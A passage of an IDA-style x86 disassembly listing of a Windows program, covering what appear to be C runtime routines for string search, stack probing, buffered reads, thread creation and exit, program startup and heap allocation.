sub_448641 proc near ; CODE XREF: sub_44352A+268p
; sub_44352A+297p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov ebx, [esp+0Ch+arg_0]
mov eax, [esp+0Ch+arg_4]
cmp byte ptr [eax], 0
jnz short loc_448671
mov eax, ebx
jmp short loc_44868A
; ---------------------------------------------------------------------------
loc_448655: ; CODE XREF: sub_448641+45j
mov edi, ebx
mov esi, [esp+0Ch+arg_4]
loc_44865B: ; CODE XREF: sub_448641+2Dj
inc esi
mov eax, esi
cmp byte ptr [eax], 0
jnz short loc_448667
mov eax, ebx
jmp short loc_44868A
; ---------------------------------------------------------------------------
loc_448667: ; CODE XREF: sub_448641+20j
inc edi
mov eax, edi
mov dl, [esi]
cmp [eax], dl
jz short loc_44865B
inc ebx
loc_448671: ; CODE XREF: sub_448641+Ej
mov eax, [esp+0Ch+arg_4]
movzx eax, byte ptr [eax]
push eax
push ebx
call sub_449E01
add esp, 8
mov ebx, eax
test eax, eax
jnz short loc_448655
xor eax, eax
loc_44868A: ; CODE XREF: sub_448641+12j
; sub_448641+24j
pop edi
pop esi
pop ebx
retn
sub_448641 endp
; ---------------------------------------------------------------------------
db 8Dh, 7Fh, 0
; ---------------------------------------------------------------------------
pop ecx
pop eax
add eax, 3
and eax, 0FFFFFFFCh
call sub_4486B1
mov eax, esp
push ecx
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
; =============== S U B R O U T I N E =======================================
sub_4486B1 proc near ; CODE XREF: sub_443817+8p
; sub_443A83+8p ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_4486D1
loc_4486BD: ; CODE XREF: sub_4486B1+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_4486BD
loc_4486D1: ; CODE XREF: sub_4486B1+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_4486B1 endp
; ---------------------------------------------------------------------------
db 90h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4486E1 proc near ; CODE XREF: sub_4447B9+D8p
; sub_446D74+CBp ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
mov ebx, [ebp+arg_C]
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
mul [ebp+arg_8]
mov esi, eax
test eax, eax
jz loc_4487E5
cmp [ebp+arg_4], 0
jnz loc_4487BB
mov eax, [ebp+arg_8]
jmp loc_4487E5
; ---------------------------------------------------------------------------
loc_448715: ; CODE XREF: sub_4486E1+DCj
mov eax, [ebx+18h]
cmp eax, [ebx+10h]
ja short loc_44872C
push ebx
call sub_449E21
pop ecx
test eax, eax
jl loc_4487C3
loc_44872C: ; CODE XREF: sub_4486E1+3Aj
test word ptr [ebx], 400h
jz short loc_448747
push esi
push 0Ah
mov eax, [ebp+var_4]
push eax
call sub_449F21
add esp, 0Ch
mov [ebp+var_10], eax
jmp short loc_44874E
; ---------------------------------------------------------------------------
loc_448747: ; CODE XREF: sub_4486E1+50j
mov [ebp+var_10], 0
loc_44874E: ; CODE XREF: sub_4486E1+64j
mov eax, [ebp+var_10]
mov [ebp+var_8], eax
test eax, eax
jz short loc_448766
mov eax, [ebp+var_8]
mov edx, [ebp+var_4]
sub eax, edx
inc eax
mov [ebp+var_14], eax
jmp short loc_448769
; ---------------------------------------------------------------------------
loc_448766: ; CODE XREF: sub_4486E1+75j
mov [ebp+var_14], esi
loc_448769: ; CODE XREF: sub_4486E1+83j
mov edi, [ebp+var_14]
mov eax, [ebx+18h]
mov edx, [ebx+10h]
sub eax, edx
mov [ebp+var_C], eax
cmp [ebp+var_C], edi
jnb short loc_448786
mov [ebp+var_8], 0
mov edi, [ebp+var_C]
loc_448786: ; CODE XREF: sub_4486E1+99j
push edi
mov eax, [ebp+var_4]
push eax
mov eax, [ebx+10h]
push eax
call sub_4485B1
add esp, 0Ch
mov eax, [ebp+var_4]
add eax, edi
mov [ebp+var_4], eax
sub esi, edi
lea eax, [ebx+10h]
mov edx, [eax]
add edx, edi
mov [eax], edx
cmp [ebp+var_8], 0
jz short loc_4487BB
push ebx
call sub_449C21
pop ecx
test eax, eax
jnz short loc_4487C3
loc_4487BB: ; CODE XREF: sub_4486E1+26j
; sub_4486E1+CDj
test esi, esi
jnz loc_448715
loc_4487C3: ; CODE XREF: sub_4486E1+45j
; sub_4486E1+D8j
test word ptr [ebx], 800h
jz short loc_4487D1
push ebx
call sub_449C21
pop ecx
loc_4487D1: ; CODE XREF: sub_4486E1+E7j
mov eax, [ebp+arg_4]
mov [ebp+var_8], eax
mul [ebp+arg_8]
sub eax, esi
mov edx, [ebp+var_8]
mov ecx, edx
xor edx, edx
div ecx
loc_4487E5: ; CODE XREF: sub_4486E1+1Cj
; sub_4486E1+2Fj
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4486E1 endp
; ---------------------------------------------------------------------------
db 90h
db 8Dh, 7Ch, 27h, 0
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_40F894
push offset sub_4083B8
push large dword ptr fs:0
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp-18h], esp
mov ebx, [ebp+8]
push ebx
mov eax, dword_411770
push eax
call dword_411D98 ; TlsSetValue
test eax, eax
jnz short loc_448833
push 1
call sub_44A111
pop ecx
loc_448833: ; CODE XREF: DMN1:00448829j
mov dword ptr [ebp-4], 0
mov eax, [ebx+44h]
push eax
call dword ptr [ebx+40h]
pop ecx
call sub_448921
jmp short loc_448871
; ---------------------------------------------------------------------------
mov eax, [ebp-14h]
mov eax, [eax]
mov eax, [eax]
mov [ebp-1Ch], eax
mov eax, [ebp-14h]
push eax
mov eax, [ebp-1Ch]
push eax
call sub_44A121
add esp, 8
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
mov eax, [ebp-1Ch]
push eax
call sub_44A111
pop ecx
loc_448871: ; CODE XREF: DMN1:00448847j
or dword ptr [ebp-4], 0FFFFFFFFh
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, [ebp-10h]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_448891 proc near ; CODE XREF: DMN1:00444F26p
; DMN1:00444FA3p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
xor esi, esi
push 48h
call sub_449121
pop ecx
mov ebx, eax
test eax, eax
jz short loc_448900
push ebx
call sub_449FE1
pop ecx
mov eax, [ebp+arg_0]
mov [ebx+40h], eax
mov eax, [ebp+arg_8]
mov [ebx+44h], eax
push ebx
push 4
push ebx
push offset sub_407870
mov eax, [ebp+arg_4]
push eax
push 0
call dword_411D9C ; CreateThread
mov edi, eax
mov [ebx+4], eax
test eax, eax
jnz short loc_4488E2
call dword_411CE8 ; RtlGetLastWin32Error
mov esi, eax
jmp short loc_448900
; ---------------------------------------------------------------------------
loc_4488E2: ; CODE XREF: sub_448891+45j
mov eax, edi
push eax
call dword_411DA0 ; ResumeThread
cmp eax, 0FFFFFFFFh
jnz short loc_4488FC
call dword_411CE8 ; RtlGetLastWin32Error
mov esi, eax
jmp short loc_448900
; ---------------------------------------------------------------------------
loc_4488FC: ; CODE XREF: sub_448891+5Fj
mov eax, edi
jmp short loc_448915
; ---------------------------------------------------------------------------
loc_448900: ; CODE XREF: sub_448891+14j
; sub_448891+4Fj ...
push ebx
call sub_448071
pop ecx
test esi, esi
jz short loc_448912
push esi
call sub_4491C1
pop ecx
loc_448912: ; CODE XREF: sub_448891+78j
or eax, 0FFFFFFFFh
loc_448915: ; CODE XREF: sub_448891+6Dj
pop edi
pop esi
pop ebx
pop ebp
retn
sub_448891 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_448921 proc near ; CODE XREF: DMN1:00444AF2p
; DMN1:00444F5Fp ...
push ebx
call sub_44A011
mov ebx, eax
test eax, eax
jnz short loc_448935
push 1
call sub_44A111
pop ecx
loc_448935: ; CODE XREF: sub_448921+Aj
cmp dword ptr [ebx+4], 0FFFFFFFFh
jz short loc_448948
mov eax, [ebx+4]
push eax
call dword_411CF8 ; CloseHandle
loc_448948: ; CODE XREF: sub_448921+1Bj
push ebx
call sub_44A081
pop ecx
push 0
call dword_411DA4 ; ExitThread
pop ebx
retn
sub_448921 endp
; ---------------------------------------------------------------------------
db 90h
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_448961 proc near ; CODE XREF: sub_4467F1+DAp
; sub_4467F1+F1p ...
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 004489E7 SIZE 0000001B BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_40F8A0
push offset sub_4083B8
push large dword ptr fs:0
mov large fs:0, esp
sub esp, 8
push ebx
push esi
push edi
mov [ebp+var_18], esp
push 2
call sub_4496C1
pop ecx
mov [ebp+var_4], 0
jmp short loc_4489AD
; ---------------------------------------------------------------------------
loc_448998: ; CODE XREF: sub_448961+53j
mov eax, dword_4111A0
lea edx, [eax+1]
mov dword_4111A0, edx
call dword_411060[eax*4]
loc_4489AD: ; CODE XREF: sub_448961+35j
cmp dword_4111A0, 50h
jb short loc_448998
jmp short loc_4489CA
; ---------------------------------------------------------------------------
loc_4489B8: ; CODE XREF: sub_448961+70j
mov eax, dword_4111A4
dec eax
mov dword_4111A4, eax
call dword_411060[eax*4]
loc_4489CA: ; CODE XREF: sub_448961+55j
cmp dword_4111A4, 0
jnz short loc_4489B8
or [ebp+var_4], 0FFFFFFFFh
call sub_4489DE
jmp short loc_4489E7
sub_448961 endp
; =============== S U B R O U T I N E =======================================
sub_4489DE proc near ; CODE XREF: sub_448961+76p
push 2
call sub_449741
pop ecx
retn
sub_4489DE endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_448961
loc_4489E7: ; CODE XREF: sub_448961+7Bj
mov eax, [ebp+arg_0]
push eax
call sub_44A111
pop ecx
pop edi
pop esi
pop ebx
mov ecx, [ebp+var_10]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_448961
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
; =============== S U B R O U T I N E =======================================
sub_448A11 proc near ; CODE XREF: DMN1:004475B0p
; DMN1:004475DFp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_44A191
pop ecx
retn
sub_448A11 endp
; ---------------------------------------------------------------------------
db 8Dh, 7Ch, 27h, 0
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_40F8AC
push offset sub_4083B8
push large dword ptr fs:0
mov large fs:0, esp
sub esp, 50h
push ebx
push esi
push edi
mov [ebp-18h], esp
push 2000000h
call sub_44BDB1
pop ecx
mov dword_4117DC, eax
call sub_449531
test eax, eax
jnz short loc_448A68
push 1
call sub_44A111
pop ecx
loc_448A68: ; CODE XREF: DMN1:00448A5Ej
call sub_449F51
test eax, eax
jnz short loc_448A79
push 1
call sub_44A111
pop ecx
loc_448A79: ; CODE XREF: DMN1:00448A6Fj
mov dword ptr [ebp-4], 0
call sub_44A1C1
call sub_44A221
call sub_44A691
call sub_44A731
mov esi, offset dword_4101AC
jmp short loc_448AA0
; ---------------------------------------------------------------------------
loc_448A9B: ; CODE XREF: DMN1:00448AA6j
call dword ptr [esi]
add esi, 4
loc_448AA0: ; CODE XREF: DMN1:00448A99j
cmp esi, offset dword_4101AC
jb short loc_448A9B
mov dword ptr [ebp-30h], 0
lea eax, [ebp-5Ch]
push eax
call dword_411DA8 ; GetStartupInfoA
push 0
call dword_411D6C ; GetModuleHandleA
mov [ebp-60h], eax
call sub_44A7F1
test byte ptr [ebp-30h], 1
jz short loc_448AD5
movzx esi, word ptr [ebp-2Ch]
jmp short loc_448ADA
; ---------------------------------------------------------------------------
loc_448AD5: ; CODE XREF: DMN1:00448ACDj
mov esi, 0Ah
loc_448ADA: ; CODE XREF: DMN1:00448AD3j
push esi
push eax
push 0
mov eax, [ebp-60h]
push eax
call sub_447C0A
mov ebx, eax
mov edi, offset dword_4101AC
jmp short loc_448AF5
; ---------------------------------------------------------------------------
loc_448AF0: ; CODE XREF: DMN1:00448AFBj
call dword ptr [edi]
add edi, 4
loc_448AF5: ; CODE XREF: DMN1:00448AEEj
cmp edi, offset dword_4101AC
jb short loc_448AF0
push ebx
call sub_448961
pop ecx
jmp short loc_448B2E
; ---------------------------------------------------------------------------
mov eax, [ebp-14h]
mov eax, [eax]
mov eax, [eax]
mov [ebp-1Ch], eax
mov eax, [ebp-14h]
push eax
mov eax, [ebp-1Ch]
push eax
call sub_44A121
add esp, 8
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
mov eax, [ebp-1Ch]
push eax
call sub_44A111
pop ecx
loc_448B2E: ; CODE XREF: DMN1:00448B04j
or dword ptr [ebp-4], 0FFFFFFFFh
pop edi
pop esi
pop ebx
mov ecx, [ebp-10h]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
db 8Dh, 0BCh, 27h, 4 dup(0)
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_448B51 proc near ; CODE XREF: sub_448DE1+ECp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
add eax, 3
shr eax, 0Eh
shl eax, 0Eh
lea esi, [eax+4000h]
mov edi, esi
shl edi, 2
push edi
call sub_44A831
pop ecx
mov [ebp+var_8], eax
test eax, eax
jnz short loc_448B90
mov dword_4117E0, 0
xor eax, eax
jmp loc_448DCE
; ---------------------------------------------------------------------------
loc_448B90: ; CODE XREF: sub_448B51+2Cj
mov eax, dword_4127EC
mov edx, dword_4127E8
add eax, edx
cmp eax, [ebp+var_8]
jnz short loc_448BB6
mov ebx, dword_4127E8
mov eax, dword_4127EC
add edi, eax
mov esi, edi
shr esi, 2
jmp short loc_448BC3
; ---------------------------------------------------------------------------
loc_448BB6: ; CODE XREF: sub_448B51+4Fj
mov eax, [ebp+var_8]
mov ebx, eax
mov edx, ebx
sub edx, eax
mov eax, edx
sub edi, eax
loc_448BC3: ; CODE XREF: sub_448B51+63j
mov eax, esi
shl eax, 2
lea edx, [ebx+eax]
mov dword_4127E8, edx
mov edx, edi
sub edx, eax
mov eax, edx
mov dword_4127EC, eax
mov eax, dword_4111CC
add eax, 4
cmp ebx, eax
jnz short loc_448BF5
cmp dword_4111D4, 0
jnz loc_448D67
loc_448BF5: ; CODE XREF: sub_448B51+95j
mov eax, dword_4111D4
mov [ebp+var_C], eax
mov dword_4111D4, ebx
mov eax, [ebp+var_C]
mov [ebx], eax
add ebx, 4
dec esi
mov dword_4111CC, ebx
mov eax, dword_4111D0
test eax, eax
jz short loc_448C1F
cmp eax, ebx
jbe short loc_448C25
loc_448C1F: ; CODE XREF: sub_448B51+C8j
mov dword_4111D0, ebx
loc_448C25: ; CODE XREF: sub_448B51+CCj
mov eax, esi
or eax, 80000000h
mov [ebx], eax
mov eax, dword_4111CC
lea eax, [eax+esi*4-4]
mov dword_4111CC, eax
mov edx, dword_4111CC
mov eax, esi
or eax, 80000000h
mov [edx], eax
sub esi, 2
add ebx, 4
mov eax, dword_4111CC
lea ebx, [eax-4]
cmp esi, dword_4111E4
ja short loc_448C93
cmp esi, dword_4111DC
ja short loc_448C7B
mov eax, dword_4111D8
cmp esi, eax
setnbe al
and eax, 1
mov [ebp+var_10], eax
jmp short loc_448C8E
; ---------------------------------------------------------------------------
loc_448C7B: ; CODE XREF: sub_448B51+116j
mov eax, dword_4111E0
cmp esi, eax
setnbe al
and eax, 1
add eax, 2
mov [ebp+var_10], eax
loc_448C8E: ; CODE XREF: sub_448B51+128j
mov eax, [ebp+var_10]
jmp short loc_448CC3
; ---------------------------------------------------------------------------
loc_448C93: ; CODE XREF: sub_448B51+10Ej
cmp esi, dword_4111EC
ja short loc_448CB0
mov eax, dword_4111E8
cmp esi, eax
setnbe al
and eax, 1
add eax, 4
mov [ebp+var_10], eax
jmp short loc_448CC3
; ---------------------------------------------------------------------------
loc_448CB0: ; CODE XREF: sub_448B51+148j
mov eax, dword_4111F0
cmp esi, eax
setnbe al
and eax, 1
add eax, 6
mov [ebp+var_10], eax
loc_448CC3: ; CODE XREF: sub_448B51+140j
; sub_448B51+15Dj
mov eax, [ebp+var_10]
mov dword_4111FC, eax
mov eax, dword_4111FC
mov eax, dword_4111A8[eax*4]
mov [ebp+var_18], eax
test eax, eax
jnz short loc_448D09
mov [ebp+var_14], ebx
mov [ebp+var_18], ebx
mov eax, dword_4111FC
mov dword_4111A8[eax*4], ebx
mov eax, dword_4111FC
cmp dword_4111F8, eax
jle short loc_448D12
mov eax, dword_4111FC
mov dword_4111F8, eax
jmp short loc_448D12
; ---------------------------------------------------------------------------
loc_448D09: ; CODE XREF: sub_448B51+18Bj
mov eax, [ebp+var_18]
mov eax, [eax-8]
mov [ebp+var_14], eax
loc_448D12: ; CODE XREF: sub_448B51+1AAj
; sub_448B51+1B6j
mov eax, [ebp+var_18]
mov [ebx-4], eax
mov edx, [ebp+var_18]
mov [edx-8], ebx
mov edx, [ebp+var_14]
mov [edx-4], ebx
mov eax, [ebp+var_14]
mov [ebx-8], eax
mov eax, esi
shl eax, 2
mov edx, ebx
sub edx, eax
mov [edx+4], esi
mov [ebx], esi
mov eax, dword_4111FC
mov dword_4111A8[eax*4], ebx
jmp short loc_448D4C
; ---------------------------------------------------------------------------
loc_448D46: ; CODE XREF: sub_448B51+20Dj
inc dword_4111F8
loc_448D4C: ; CODE XREF: sub_448B51+1F3j
mov eax, dword_4111F8
cmp dword_4111A8[eax*4], 0
jnz short loc_448D60
cmp eax, 7
jl short loc_448D46
loc_448D60: ; CODE XREF: sub_448B51+208j
mov eax, 1
jmp short loc_448DCE
; ---------------------------------------------------------------------------
loc_448D67: ; CODE XREF: sub_448B51+9Ej
add ebx, 0FFFFFFFCh
mov eax, [ebx]
and eax, 7FFFFFFFh
add eax, esi
mov [ebp+var_4], eax
mov eax, esi
or eax, 80000000h
mov [ebx], eax
mov eax, dword_4111CC
lea eax, [eax+esi*4]
mov dword_4111CC, eax
mov edx, dword_4111CC
mov eax, [ebx]
mov [edx-4], eax
mov edx, dword_4111CC
mov eax, [ebp+var_4]
or eax, 80000000h
mov [edx], eax
mov eax, [ebp+var_4]
mov edx, dword_4111CC
mov ecx, eax
shl ecx, 2
sub edx, ecx
or eax, 80000000h
mov [edx+4], eax
lea eax, [ebx+4]
push eax
call sub_448071
pop ecx
mov eax, 1
loc_448DCE: ; CODE XREF: sub_448B51+3Aj
; sub_448B51+214j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_448B51 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
db 8Dh, 0BFh, 4 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_448DE1 proc near ; CODE XREF: sub_449121+4Ap
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 24h
push ebx
push esi
push edi
xor ebx, ebx
mov eax, [ebp+arg_0]
add eax, 3
shr eax, 2
lea esi, [eax+2]
cmp esi, 4
jnb short loc_448E02
mov esi, 4
loc_448E02: ; CODE XREF: sub_448DE1+1Aj
xor edi, edi
cmp esi, dword_4111E4
ja short loc_448E3E
cmp esi, dword_4111DC
ja short loc_448E26
mov eax, dword_4111D8
cmp esi, eax
setnbe al
and eax, 1
mov [ebp+var_10], eax
jmp short loc_448E39
; ---------------------------------------------------------------------------
loc_448E26: ; CODE XREF: sub_448DE1+31j
mov eax, dword_4111E0
cmp esi, eax
setnbe al
and eax, 1
add eax, 2
mov [ebp+var_10], eax
loc_448E39: ; CODE XREF: sub_448DE1+43j
mov eax, [ebp+var_10]
jmp short loc_448E6E
; ---------------------------------------------------------------------------
loc_448E3E: ; CODE XREF: sub_448DE1+29j
cmp esi, dword_4111EC
ja short loc_448E5B
mov eax, dword_4111E8
cmp esi, eax
setnbe al
and eax, 1
add eax, 4
mov [ebp+var_10], eax
jmp short loc_448E6E
; ---------------------------------------------------------------------------
loc_448E5B: ; CODE XREF: sub_448DE1+63j
mov eax, dword_4111F0
cmp esi, eax
setnbe al
and eax, 1
add eax, 6
mov [ebp+var_10], eax
loc_448E6E: ; CODE XREF: sub_448DE1+5Bj
; sub_448DE1+78j
mov eax, [ebp+var_10]
mov [ebp+var_C], eax
mov eax, dword_4111F8
cmp [ebp+var_C], eax
jge short loc_448EBE
mov eax, dword_4111F8
mov [ebp+var_C], eax
jmp short loc_448EBE
; ---------------------------------------------------------------------------
loc_448E88: ; CODE XREF: sub_448DE1+E5j
mov eax, [ebp+var_C]
lea edx, [eax+1]
mov [ebp+var_C], edx
mov eax, dword_4111A8[eax*4]
mov ebx, eax
test eax, eax
jz short loc_448EBE
mov eax, dword_4111CC
add eax, 0FFFFFFFCh
cmp ebx, eax
jnz short loc_448EAD
mov ebx, [ebx-4]
loc_448EAD: ; CODE XREF: sub_448DE1+C7j
mov [ebp+var_4], ebx
loc_448EB0: ; CODE XREF: sub_448DE1+DBj
mov edi, [ebx]
cmp edi, esi
jnb short loc_448EBE
mov ebx, [ebx-4]
cmp ebx, [ebp+var_4]
jnz short loc_448EB0
loc_448EBE: ; CODE XREF: sub_448DE1+9Bj
; sub_448DE1+A5j ...
cmp edi, esi
jnb short loc_448EC8
cmp [ebp+var_C], 8
jl short loc_448E88
loc_448EC8: ; CODE XREF: sub_448DE1+DFj
cmp edi, esi
jnb short loc_448EEE
push esi
call sub_448B51
pop ecx
test eax, eax
jz loc_449118
mov eax, dword_4111FC
mov [ebp+var_C], eax
mov ebx, dword_4111A8[eax*4]
mov edi, [ebx]
jmp short loc_448EF7
; ---------------------------------------------------------------------------
loc_448EEE: ; CODE XREF: sub_448DE1+E9j
cmp [ebp+var_C], 0
jle short loc_448EF7
dec [ebp+var_C]
loc_448EF7: ; CODE XREF: sub_448DE1+10Bj
; sub_448DE1+111j
mov eax, edi
sub eax, esi
mov [ebp+var_14], eax
cmp eax, 4
jb loc_449080
mov eax, dword_4111E4
cmp [ebp+var_14], eax
ja short loc_448F47
mov eax, dword_4111DC
cmp [ebp+var_14], eax
ja short loc_448F2E
mov eax, dword_4111D8
cmp [ebp+var_14], eax
setnbe al
and eax, 1
mov [ebp+var_1C], eax
jmp short loc_448F42
; ---------------------------------------------------------------------------
loc_448F2E: ; CODE XREF: sub_448DE1+138j
mov eax, dword_4111E0
cmp [ebp+var_14], eax
setnbe al
and eax, 1
add eax, 2
mov [ebp+var_1C], eax
loc_448F42: ; CODE XREF: sub_448DE1+14Bj
mov eax, [ebp+var_1C]
jmp short loc_448F7B
; ---------------------------------------------------------------------------
loc_448F47: ; CODE XREF: sub_448DE1+12Ej
mov eax, dword_4111EC
cmp [ebp+var_14], eax
ja short loc_448F67
mov eax, dword_4111E8
cmp [ebp+var_14], eax
setnbe al
and eax, 1
add eax, 4
mov [ebp+var_1C], eax
jmp short loc_448F7B
; ---------------------------------------------------------------------------
loc_448F67: ; CODE XREF: sub_448DE1+16Ej
mov eax, dword_4111F0
cmp [ebp+var_14], eax
setnbe al
and eax, 1
add eax, 6
mov [ebp+var_1C], eax
loc_448F7B: ; CODE XREF: sub_448DE1+164j
; sub_448DE1+184j
mov eax, [ebp+var_1C]
mov [ebp+var_18], eax
mov eax, [ebp+var_C]
cmp [ebp+var_18], eax
jz loc_44906D
mov eax, [ebx-4]
mov [ebp+var_20], eax
cmp ebx, [ebp+var_20]
jnz short loc_448FCF
mov eax, [ebp+var_C]
mov dword_4111A8[eax*4], 0
mov eax, [ebp+var_C]
cmp dword_4111F8, eax
jnz short loc_449000
jmp short loc_448FB9
; ---------------------------------------------------------------------------
loc_448FB3: ; CODE XREF: sub_448DE1+1EAj
inc dword_4111F8
loc_448FB9: ; CODE XREF: sub_448DE1+1D0j
mov eax, dword_4111F8
cmp dword_4111A8[eax*4], 0
jnz short loc_448FCD
cmp eax, 7
jl short loc_448FB3
loc_448FCD: ; CODE XREF: sub_448DE1+1E5j
jmp short loc_449000
; ---------------------------------------------------------------------------
loc_448FCF: ; CODE XREF: sub_448DE1+1B5j
mov eax, [ebx-8]
mov [ebp+var_24], eax
mov edx, [ebp+var_24]
mov eax, [ebp+var_20]
mov [edx-4], eax
mov edx, [ebp+var_20]
mov eax, [ebp+var_24]
mov [edx-8], eax
mov eax, [ebp+var_C]
cmp ebx, dword_4111A8[eax*4]
jnz short loc_449000
mov eax, [ebp+var_C]
mov edx, [ebp+var_24]
mov dword_4111A8[eax*4], edx
loc_449000: ; CODE XREF: sub_448DE1+1CEj
; sub_448DE1:loc_448FCDj ...
mov eax, [ebp+var_18]
mov eax, dword_4111A8[eax*4]
mov [ebp+var_24], eax
test eax, eax
jnz short loc_449036
mov [ebp+var_20], ebx
mov [ebp+var_24], ebx
mov eax, [ebp+var_18]
mov dword_4111A8[eax*4], ebx
mov eax, [ebp+var_18]
cmp dword_4111F8, eax
jle short loc_44903F
mov eax, [ebp+var_18]
mov dword_4111F8, eax
jmp short loc_44903F
; ---------------------------------------------------------------------------
loc_449036: ; CODE XREF: sub_448DE1+22Ej
mov eax, [ebp+var_24]
mov eax, [eax-8]
mov [ebp+var_20], eax
loc_44903F: ; CODE XREF: sub_448DE1+249j
; sub_448DE1+253j
mov eax, [ebp+var_24]
mov [ebx-4], eax
mov edx, [ebp+var_24]
mov [edx-8], ebx
mov edx, [ebp+var_20]
mov [edx-4], ebx
mov eax, [ebp+var_20]
mov [ebx-8], eax
mov eax, [ebp+var_14]
mov edx, eax
shl edx, 2
mov ecx, ebx
sub ecx, edx
mov [ecx+4], eax
mov [ebx], eax
jmp loc_4490F5
; ---------------------------------------------------------------------------
loc_44906D: ; CODE XREF: sub_448DE1+1A6j
mov eax, [ebp+var_14]
mov edx, eax
shl edx, 2
mov ecx, ebx
sub ecx, edx
mov [ecx+4], eax
mov [ebx], eax
jmp short loc_4490F5
; ---------------------------------------------------------------------------
loc_449080: ; CODE XREF: sub_448DE1+120j
mov eax, [ebx-4]
mov [ebp+var_1C], eax
cmp ebx, [ebp+var_1C]
jnz short loc_4490C2
mov eax, [ebp+var_C]
mov dword_4111A8[eax*4], 0
mov eax, [ebp+var_C]
cmp dword_4111F8, eax
jnz short loc_4490F3
jmp short loc_4490AC
; ---------------------------------------------------------------------------
loc_4490A6: ; CODE XREF: sub_448DE1+2DDj
inc dword_4111F8
loc_4490AC: ; CODE XREF: sub_448DE1+2C3j
mov eax, dword_4111F8
cmp dword_4111A8[eax*4], 0
jnz short loc_4490C0
cmp eax, 7
jl short loc_4490A6
loc_4490C0: ; CODE XREF: sub_448DE1+2D8j
jmp short loc_4490F3
; ---------------------------------------------------------------------------
loc_4490C2: ; CODE XREF: sub_448DE1+2A8j
mov eax, [ebx-8]
mov [ebp+var_20], eax
mov edx, [ebp+var_20]
mov eax, [ebp+var_1C]
mov [edx-4], eax
mov edx, [ebp+var_1C]
mov eax, [ebp+var_20]
mov [edx-8], eax
mov eax, [ebp+var_C]
cmp ebx, dword_4111A8[eax*4]
jnz short loc_4490F3
mov eax, [ebp+var_C]
mov edx, [ebp+var_20]
mov dword_4111A8[eax*4], edx
loc_4490F3: ; CODE XREF: sub_448DE1+2C1j
; sub_448DE1:loc_4490C0j ...
mov esi, edi
loc_4490F5: ; CODE XREF: sub_448DE1+287j
; sub_448DE1+29Dj
mov eax, edi
shl eax, 2
mov edx, ebx
sub edx, eax
lea eax, [edx+4]
mov [ebp+var_8], eax
mov edx, esi
or edx, 80000000h
mov [eax+esi*4-4], edx
mov [eax], edx
mov eax, [ebp+var_8]
add eax, 4
loc_449118: ; CODE XREF: sub_448DE1+F4j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_448DE1 endp
; ---------------------------------------------------------------------------
db 89h, 0FFh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_449121 proc near ; CODE XREF: sub_447CC1+Dp
; sub_448891+Ap ...
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 00449188 SIZE 00000038 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_40F8BC
push offset sub_4083B8
push large dword ptr fs:0
mov large fs:0, esp
sub esp, 0Ch
